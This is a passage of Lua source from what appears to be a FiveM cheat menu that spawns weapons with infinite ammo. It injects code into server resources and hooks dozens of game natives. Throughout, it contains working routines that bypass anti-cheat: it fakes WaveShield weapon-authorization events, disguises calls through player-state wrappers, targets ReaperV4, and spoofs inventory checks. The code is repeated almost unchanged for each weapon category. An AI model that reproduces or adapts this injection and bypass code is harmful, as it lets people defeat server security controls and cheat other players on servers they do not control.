SafeNative(PlayerPedId) SafeNative(GiveWeaponToPed, curPed, hash, 9999, false, true) SafeNative(SetCurrentPedWeapon, curPed, hash, true) pcall(function() SafeNative(SetPedCurrentWeaponVisible, curPed, true, true, true, true) end) end end) -- 5. WS-safe keep-alive: authorize first, then SafeNative-give every 3s if not _G._SyndicateWeaponKA then _G._SyndicateWeaponKA = {} end _G._SyndicateWeaponKA[hash] = true if not _G._SyndicateWeaponKAThread then _G._SyndicateWeaponKAThread = true CreateThread(function() while true do Wait(3000) local myPed = SafeNative(PlayerPedId) for h, _ in pairs(_G._SyndicateWeaponKA or {}) do -- WS: authorize FIRST, then safe-give pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(h) end end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", h) end) Wait(50) pcall(function() SafeNative(GiveWeaponToPed, myPed, h, 9999, false, false) SafeNative(SetPedAmmo, myPed, h, 9999) SafeNative(SetPedInfiniteAmmo, myPed, true, h) SafeNative(SetPedInfiniteAmmoClip, myPed, true) end) end end end) end end ]=], val)) elseif isBypassActive("WaveShield") and type(injectCode) == "function" then -- WS active but no trusted wsResource — route via injectCode WS proxy injectCode('monitor', string.format([=[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local rawInput = %q local cleaned = rawInput:gsub("^%%s*(.-)%%s*$", "%%1") local cleanedUpper = cleaned:upper() local numVal = tonumber(cleaned) local candidates = {} if numVal and numVal ~= 0 then table.insert(candidates, numVal) end if cleanedUpper:sub(1, 7) == "WEAPON_" then table.insert(candidates, SafeNative(GetHashKey, cleanedUpper)) table.insert(candidates, SafeNative(GetHashKey, cleaned)) table.insert(candidates, SafeNative(GetHashKey, cleaned:sub(8))) table.insert(candidates, SafeNative(GetHashKey, cleanedUpper:sub(8))) else table.insert(candidates, SafeNative(GetHashKey, "WEAPON_" .. cleanedUpper)) table.insert(candidates, SafeNative(GetHashKey, "WEAPON_" .. cleaned)) table.insert(candidates, SafeNative(GetHashKey, cleanedUpper)) table.insert(candidates, SafeNative(GetHashKey, cleaned)) table.insert(candidates, SafeNative(GetHashKey, cleaned:lower())) table.insert(candidates, SafeNative(GetHashKey, "weapon_" .. cleaned:lower())) end local hash = 0 for _, h in ipairs(candidates) do if h and h ~= 0 and (SafeNative(IsWeaponValid, h) or SafeNative(IsModelInCdimage, h)) then hash = h break end end if hash == 0 then for _, h in ipairs(candidates) do if h and h ~= 0 then hash = h break end end end if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) pcall(function() SafeNative(SetPedCurrentWeaponVisible, ped, true, true, true, true) end) CreateThread(function() for retry = 1, 5 do Wait(retry * 40) local curPed = SafeNative(PlayerPedId) SafeNative(GiveWeaponToPed, curPed, hash, 9999, false, true) SafeNative(SetCurrentPedWeapon, curPed, hash, true) pcall(function() SafeNative(SetPedCurrentWeaponVisible, curPed, true, true, true, true) end) end end) end ]=], val)) else local _reaperRes = FindReaperResource and FindReaperResource() local _reaperActive = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) if _reaperActive and _reaperRes and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _reaperRes, string.format([=[ local ped = PlayerPedId() local rawInput = %q local cleaned = rawInput:gsub("^%%s*(.-)%%s*$", "%%1") local cleanedUpper = cleaned:upper() local numVal = tonumber(cleaned) local candidates = {} if numVal and numVal ~= 0 then table.insert(candidates, numVal) end if cleanedUpper:sub(1, 7) == "WEAPON_" then table.insert(candidates, GetHashKey(cleanedUpper)) table.insert(candidates, GetHashKey(cleaned)) table.insert(candidates, GetHashKey(cleaned:sub(8))) table.insert(candidates, GetHashKey(cleanedUpper:sub(8))) else table.insert(candidates, GetHashKey("WEAPON_" .. cleanedUpper)) table.insert(candidates, GetHashKey("WEAPON_" .. cleaned)) table.insert(candidates, GetHashKey(cleanedUpper)) table.insert(candidates, GetHashKey(cleaned)) table.insert(candidates, GetHashKey(cleaned:lower())) table.insert(candidates, GetHashKey("weapon_" .. cleaned:lower())) end local hash = 0 for _, h in ipairs(candidates) do if h and h ~= 0 and (IsWeaponValid(h) or IsModelInCdimage(h)) then hash = h break end end if hash == 0 then for _, h in ipairs(candidates) do if h and h ~= 0 then hash = h break end end end if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) CreateThread(function() for retry = 1, 5 do Wait(retry * 40) local curPed = PlayerPedId() GiveWeaponToPed(curPed, hash, 9999, false, true) SetCurrentPedWeapon(curPed, hash, true) pcall(function() SetPedCurrentWeaponVisible(curPed, true, true, true, true) end) end end) end ]=], val)) else injectCode('monitor', string.format([[ local ped = PlayerPedId() local rawInput = %q local cleaned = rawInput:gsub("^%%s*(.-)%%s*$", "%%1") local cleanedUpper = cleaned:upper() local numVal = tonumber(cleaned) local candidates = {} if numVal and numVal ~= 0 then table.insert(candidates, numVal) end if cleanedUpper:sub(1, 7) == "WEAPON_" then table.insert(candidates, GetHashKey(cleanedUpper)) table.insert(candidates, GetHashKey(cleaned)) table.insert(candidates, GetHashKey(cleaned:sub(8))) table.insert(candidates, GetHashKey(cleanedUpper:sub(8))) else table.insert(candidates, GetHashKey("WEAPON_" .. cleanedUpper)) table.insert(candidates, GetHashKey("WEAPON_" .. cleaned)) table.insert(candidates, GetHashKey(cleanedUpper)) table.insert(candidates, GetHashKey(cleaned)) table.insert(candidates, GetHashKey(cleaned:lower())) table.insert(candidates, GetHashKey("weapon_" .. cleaned:lower())) end local hash = 0 for _, h in ipairs(candidates) do if h and h ~= 0 and (IsWeaponValid(h) or IsModelInCdimage(h)) then hash = h break end end if hash == 0 then for _, h in ipairs(candidates) do if h and h ~= 0 then hash = h break end end end if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) CreateThread(function() for retry = 1, 5 do Wait(retry * 40) local curPed = PlayerPedId() GiveWeaponToPed(curPed, hash, 9999, false, true) SetCurrentPedWeapon(curPed, hash, true) pcall(function() SetPedCurrentWeaponVisible(curPed, true, true, true, true) end) end end) end ]], val)) end end showNotify("Spawned: " .. val, "success") end end) end }, { type = 'divider', label = 'OTHER' }, { label = 'Melee', type = 'scroll', selected = 1, options = { { label = 'Unarmed', value = 'WEAPON_UNARMED' }, { label = 'Knife', value = 'WEAPON_KNIFE' }, { label = 'Nightstick', value = 'WEAPON_NIGHTSTICK' }, { label = 'Hammer', value = 'WEAPON_HAMMER' }, { label = 'Bat', value = 'WEAPON_BAT' }, { label = 'Golfclub', value = 'WEAPON_GOLFCLUB' }, { label = 'Crowbar', value = 'WEAPON_CROWBAR' }, { label = 'Bottle', value = 'WEAPON_BOTTLE' }, { label = 'Dagger', value = 'WEAPON_DAGGER' }, { label = 'Hatchet', value = 'WEAPON_HATCHET' }, { label = 'Knuckle Duster', value = 'WEAPON_KNUCKLE' }, { label = 'Machete', value = 'WEAPON_MACHETE' }, { label = 'Flashlight', value = 'WEAPON_FLASHLIGHT' }, { label = 'Switchblade', value = 'WEAPON_SWITCHBLADE' }, { label = 'Battle Axe', value = 'WEAPON_BATTLEAXE' }, { label = 'Pool Cue', value = 'WEAPON_POOLCUE' }, { label = 'Stone Hatchet', value = 'WEAPON_STONE_HATCHET' }, { label = 'Wrench', value = 'WEAPON_WRENCH' }, { label = 'Candy Cane', value = 'WEAPON_CANDY_CANE' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data injectCode('monitor', string.format([[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then -- Spoof armed state to bypass inventory checks MachoHookNative(0x3A87E44BB9A01D54, function(p, p2) if p == PlayerPedId() then return false, false, -1569615261 end end) MachoHookNative(0x0A6DB4965674D243, function(p) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x8483E98E8B888AE2, function(p, p1) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x475768A975D5AD17, function(p, typeFlags) if p == PlayerPedId() then return false, false end end) MachoHookNative(0x8DECB02F88F428BC, function(p, weaponHash, p2) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x2E1202248937775C, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0xA48931185F0536FE, function() return false, -1569615261 end) MachoHookNative(0x840F03E9041E2C9C, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x7EE53118C892B513, function(p, flag, p2) if p == PlayerPedId() and flag == 331 then return false, false end return true end) MachoHookNative(0x4899CB088EDF59B8, function(p, weaponHash) if p == PlayerPedId() then return false end return true end) MachoHookNative(0x3B390A939AF0B5FC, function(p, p1) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x2B9EEDC07BD06B9F, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x7FEAD38B326B9F74, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x39D22031557946C1, function(p, ammoType) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x015A522136D7F951, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xA38DCFFCEA8962FA, function(p, weaponHash, p2) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xDC16122C7A20C933, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0x65F0C5AE05943EC7, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB80CA294F2F26749, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x34616828CD07F1A1, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB2C086CC1BF8F2BF, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x24B100C68C645951, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xF0A60040BE558F2D, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xC593212475FAE340, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xCAE1DC9A0E22A16D, function(p, p1) return false, 0 end) MachoHookNative(0x583BE370B1EC6EB4, function(weaponHash) return false, 0 end) MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return false, 0.0 end) MachoHookNative(0x065D2AACAD8CF7A4, function(weaponHash) return false, 0.0 end) MachoHookNative(0x3BE0BB12D25FB305, function(weaponHash) return false, 0 end) MachoHookNative(0xB9A8252F8927A3B4, function(p, weaponHash) if p == PlayerPedId() then return false, true end return true end) MachoHookNative(0x8C7D9D2A8D3DB1D2, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x4E209B2C1EAD5159, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x814C9D19DFD69679, function(p) if p == PlayerPedId() then return false, 1.0 end return true end) MachoHookNative(0xEFFED78E9011134D, function(p, weaponSlot) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x7E9DFE24AC1E58EF, function(p, x1, y1, z1, x2, y2, z2, p7, p8) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xA13E93403F26C812, function(weaponTypeIndex) return false, -1569615261 end) MachoHookNative(0xBC4C9EA5391ECC0D, function(id) if id == 2 or id == 19 or id == 20 then return false, false end return true end) MachoHookNative(0x2975C866E6713290, function(player) if player == PlayerId() then return false, false, 0 end return true end) MachoHookNative(0x79CFD9827CC979B6, function(p) return false, 1 end) end end) end) ]], w)) local _wsRes2 = (type(GetWSResourceName) == "function" and GetWSResourceName()) if isBypassActive and isBypassActive("WaveShield") and _wsRes2 and string.lower(tostring(_wsRes2)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _wsRes2, string.format([==[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local hash = SafeNative(GetHashKey, %q) if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) -- WS-safe keep-alive: authorize first then SafeNative-give every 3s if not _G._SyndicateWeaponKA then _G._SyndicateWeaponKA = {} end _G._SyndicateWeaponKA[hash] = true if not _G._SyndicateWeaponKAThread then _G._SyndicateWeaponKAThread = true CreateThread(function() while true do Wait(3000) local myPed = SafeNative(PlayerPedId) for h, _ in pairs(_G._SyndicateWeaponKA or {}) do -- WS: authorize FIRST, then safe-give pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(h) end end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", h) end) Wait(50) pcall(function() SafeNative(GiveWeaponToPed, myPed, h, 9999, false, false) SafeNative(SetPedAmmo, myPed, h, 9999) SafeNative(SetPedInfiniteAmmo, myPed, true, h) SafeNative(SetPedInfiniteAmmoClip, myPed, true) end) end end end) end end ]==], w)) else local _reaperRes2 = FindReaperResource and FindReaperResource() local _reaperActive2 = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) if _reaperActive2 and _reaperRes2 and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _reaperRes2, string.format([==[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) Wait(100) SetCurrentPedWeapon(ped, hash, true) end ]==], w)) else injectCode('monitor', string.format([[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 500 while not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) end ]], w)) end end showNotify("Spawned: " .. tostring(w), "success") end }, { label = 'Handguns', type = 'scroll', selected = 1, options = { { label = 'Pistol', value = 'WEAPON_PISTOL' }, { label = 'Pistol Mk2', value = 'WEAPON_PISTOL_MK2' }, { label = 'Combat Pistol', value = 'WEAPON_COMBATPISTOL' }, { label = 'AP Pistol', value = 'WEAPON_APPISTOL' }, { label = 'Stun Gun', value = 'WEAPON_STUNGUN' }, { label = 'Stun Gun MP', value = 'WEAPON_STUNGUN_MP' }, { label = 'Pistol .50', value = 'WEAPON_PISTOL50' }, { label = 'SNS Pistol', value = 'WEAPON_SNSPISTOL' }, { label = 'SNS Pistol Mk2', value = 'WEAPON_SNSPISTOL_MK2' }, { label = 'Heavy Pistol', value = 'WEAPON_HEAVYPISTOL' }, { label = 'Vintage Pistol', value = 'WEAPON_VINTAGEPISTOL' }, { label = 'Flare Gun', value = 'WEAPON_FLAREGUN' }, { label = 'Marksman Pistol', value = 'WEAPON_MARKSMANPISTOL' }, { label = 'Heavy Revolver', value = 'WEAPON_REVOLVER' }, { label = 'Heavy Revolver Mk2', value = 'WEAPON_REVOLVER_MK2' }, { label = 'Double Action Revolver', value = 'WEAPON_DOUBLEACTION' }, { label = 'Up-n-Atomizer (Ray Pistol)', value = 'WEAPON_RAYPISTOL' }, { label = 'Ceramic Pistol', value = 'WEAPON_CERAMICPISTOL' }, { label = 'Navy Revolver', value = 'WEAPON_NAVYREVOLVER' }, { label = 'Perico Pistol (Gadget Pistol)', value = 'WEAPON_GADGETPISTOL' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data injectCode('monitor', string.format([[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then -- Spoof armed state to bypass inventory checks MachoHookNative(0x3A87E44BB9A01D54, function(p, p2) if p == PlayerPedId() then return false, false, -1569615261 end end) MachoHookNative(0x0A6DB4965674D243, function(p) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x8483E98E8B888AE2, function(p, p1) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x475768A975D5AD17, function(p, typeFlags) if p == PlayerPedId() then return false, false end end) MachoHookNative(0x8DECB02F88F428BC, function(p, weaponHash, p2) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x2E1202248937775C, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0xA48931185F0536FE, function() return false, -1569615261 end) MachoHookNative(0x840F03E9041E2C9C, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x7EE53118C892B513, function(p, flag, p2) if p == PlayerPedId() and flag == 331 then return false, false end return true end) MachoHookNative(0x4899CB088EDF59B8, function(p, weaponHash) if p == PlayerPedId() then return false end return true end) MachoHookNative(0x3B390A939AF0B5FC, function(p, p1) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x2B9EEDC07BD06B9F, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x7FEAD38B326B9F74, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x39D22031557946C1, function(p, ammoType) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x015A522136D7F951, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xA38DCFFCEA8962FA, function(p, weaponHash, p2) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xDC16122C7A20C933, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0x65F0C5AE05943EC7, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB80CA294F2F26749, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x34616828CD07F1A1, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xB2C086CC1BF8F2BF, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x24B100C68C645951, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xF0A60040BE558F2D, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xC593212475FAE340, function(p, weaponHash, componentHash) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xCAE1DC9A0E22A16D, function(p, p1) return false, 0 end) MachoHookNative(0x583BE370B1EC6EB4, function(weaponHash) return false, 0 end) MachoHookNative(0x3133B907D8B32053, function(weaponHash, componentHash) return false, 0.0 end) MachoHookNative(0x065D2AACAD8CF7A4, function(weaponHash) return false, 0.0 end) MachoHookNative(0x3BE0BB12D25FB305, function(weaponHash) return false, 0 end) MachoHookNative(0xB9A8252F8927A3B4, function(p, weaponHash) if p == PlayerPedId() then return false, true end return true end) MachoHookNative(0x8C7D9D2A8D3DB1D2, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x4E209B2C1EAD5159, function(p) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x814C9D19DFD69679, function(p) if p == PlayerPedId() then return false, 1.0 end return true end) MachoHookNative(0xEFFED78E9011134D, function(p, weaponSlot) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x7E9DFE24AC1E58EF, function(p, x1, y1, z1, x2, y2, z2, p7, p8) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0xA13E93403F26C812, function(weaponTypeIndex) return false, -1569615261 end) MachoHookNative(0xBC4C9EA5391ECC0D, function(id) if id == 2 or id == 19 or id == 20 then return false, false end return true end) MachoHookNative(0x2975C866E6713290, function(player) if player == PlayerId() then return false, false, 0 end return true end) MachoHookNative(0x79CFD9827CC979B6, function(p) return false, 1 end) end end) end) ]], w)) local _wsRes2 = (type(GetWSResourceName) == "function" and GetWSResourceName()) if isBypassActive and isBypassActive("WaveShield") and _wsRes2 and string.lower(tostring(_wsRes2)) ~= "waveshield" and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _wsRes2, string.format([==[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(fn) return function(...) return fn(...) end end local function WS_RunSafeFunc(setFunc, ...) if type(setFunc) == "function" then local ok, res = pcall(function(...) if LocalPlayer and LocalPlayer.state then local k = "ws_" .. tostring(math.random(100000, 999999)) LocalPlayer.state:set(k, setFunc, false) if LocalPlayer.state[k] then return LocalPlayer.state[k](...) end end return setFunc(...) end, ...) if ok then return res end return setFunc(...) end end local function SafeNative(fn, ...) return safeCall(WS_RunSafeFunc, SafeWrap(fn), ...) end local ped = SafeNative(PlayerPedId) local hash = SafeNative(GetHashKey, %q) if hash and hash ~= 0 then pcall(function() SafeNative(RequestModel, hash) SafeNative(RequestWeaponAsset, hash, 31, 0) end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", hash) end) pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(hash) end end) SafeNative(GiveWeaponToPed, ped, hash, 9999, false, true) SafeNative(SetPedAmmo, ped, hash, 9999) SafeNative(SetCurrentPedWeapon, ped, hash, true) SafeNative(SetPedInfiniteAmmo, ped, true, hash) SafeNative(SetPedInfiniteAmmoClip, ped, true) SafeNative(SetPedCanSwitchWeapon, ped, true) -- WS-safe keep-alive: authorize first then SafeNative-give every 3s if not _G._SyndicateWeaponKA then _G._SyndicateWeaponKA = {} end _G._SyndicateWeaponKA[hash] = true if not _G._SyndicateWeaponKAThread then _G._SyndicateWeaponKAThread = true CreateThread(function() while true do Wait(3000) local myPed = SafeNative(PlayerPedId) for h, _ in pairs(_G._SyndicateWeaponKA or {}) do -- WS: authorize FIRST, then safe-give pcall(function() if exports and exports["WaveShield"] and exports["WaveShield"].giveWeapon then exports["WaveShield"]:giveWeapon(h) end end) pcall(function() SafeNative(TriggerEvent, "__WaveShield:hasChangedPedWeapon", h) end) Wait(50) pcall(function() SafeNative(GiveWeaponToPed, myPed, h, 9999, false, false) SafeNative(SetPedAmmo, myPed, h, 9999) SafeNative(SetPedInfiniteAmmo, myPed, true, h) SafeNative(SetPedInfiniteAmmoClip, myPed, true) end) end end end) end end ]==], w)) else local _reaperRes2 = FindReaperResource and FindReaperResource() local _reaperActive2 = isBypassActive and (isBypassActive("ReaperV4_NEW") or isBypassActive("ReaperV4_OLD")) if _reaperActive2 and _reaperRes2 and type(MachoInjectResource2) == "function" then MachoInjectResource2(3, _reaperRes2, string.format([==[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestModel(hash) RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 800 while not HasModelLoaded(hash) and not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) pcall(function() SetPedCurrentWeaponVisible(ped, true, true, true, true) end) Wait(100) SetCurrentPedWeapon(ped, hash, true) end ]==], w)) else injectCode('monitor', string.format([[ local ped = PlayerPedId() local hash = GetHashKey(%q) if hash and hash ~= 0 then pcall(function() RequestWeaponAsset(hash, 31, 0) end) local t = GetGameTimer() + 500 while not HasWeaponAssetLoaded(hash) and GetGameTimer() < t do Wait(10) end GiveWeaponToPed(ped, hash, 9999, false, true) SetPedAmmo(ped, hash, 9999) SetCurrentPedWeapon(ped, hash, true) SetPedInfiniteAmmo(ped, true, hash) SetPedInfiniteAmmoClip(ped, true) SetPedCanSwitchWeapon(ped, true) end ]], w)) end end showNotify("Spawned: " .. tostring(w), "success") end }, { label = 'SMGs', type = 'scroll', selected = 1, options = { { label = 'Micro SMG', value = 'WEAPON_MICROSMG' }, { label = 'SMG', value = 'WEAPON_SMG' }, { label = 'SMG Mk2', value = 'WEAPON_SMG_MK2' }, { label = 'Assault SMG', value = 'WEAPON_ASSAULTSMG' }, { label = 'Combat PDW', value = 'WEAPON_COMBATPDW' }, { label = 'Machine Pistol', value = 'WEAPON_MACHINEPISTOL' }, { label = 'Mini SMG', value = 'WEAPON_MINISMG' }, { label = 'Unholy Hellbringer (Ray Carbine)', value = 'WEAPON_RAYCARBINE' }, { label = 'Tactical SMG', value = 'WEAPON_TECPISTOL' } }, onConfirm = function(data) local w = type(data) == "table" and data.value or data injectCode('monitor', string.format([[ CreateThread(function() pcall(function() if type(MachoHookNative) == "function" then -- Spoof armed state to bypass inventory checks MachoHookNative(0x3A87E44BB9A01D54, function(p, p2) if p == PlayerPedId() then return false, false, -1569615261 end end) MachoHookNative(0x0A6DB4965674D243, function(p) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x8483E98E8B888AE2, function(p, p1) if p == PlayerPedId() then return false, -1569615261 end return true end) MachoHookNative(0x475768A975D5AD17, function(p, typeFlags) if p == PlayerPedId() then return false, false end end) MachoHookNative(0x8DECB02F88F428BC, function(p, weaponHash, p2) if p == PlayerPedId() then return false, false end return true end) MachoHookNative(0x2E1202248937775C, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0xA48931185F0536FE, function() return false, -1569615261 end) MachoHookNative(0x840F03E9041E2C9C, function(p) if p == PlayerPedId() then return false, 0.0 end return true end) MachoHookNative(0x7EE53118C892B513, function(p, flag, p2) if p == PlayerPedId() and flag == 331 then return false, false end return true end) MachoHookNative(0x4899CB088EDF59B8, function(p, weaponHash) if p == PlayerPedId() then return false end return true end) MachoHookNative(0x3B390A939AF0B5FC, function(p, p1) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x2B9EEDC07BD06B9F, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x7FEAD38B326B9F74, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x39D22031557946C1, function(p, ammoType) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0x015A522136D7F951, function(p, weaponHash) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xA38DCFFCEA8962FA, function(p, weaponHash, p2) if p == PlayerPedId() then return false, 0 end return true end) MachoHookNative(0xDC16122C7A20C933, function(p, weaponHash) if p == PlayerPedId() then return false, false, 0 end return true end) MachoHookNative(0x65F0C5AE05943EC7, function(p) if p == PlayerPedId() then return false, false end return true end) 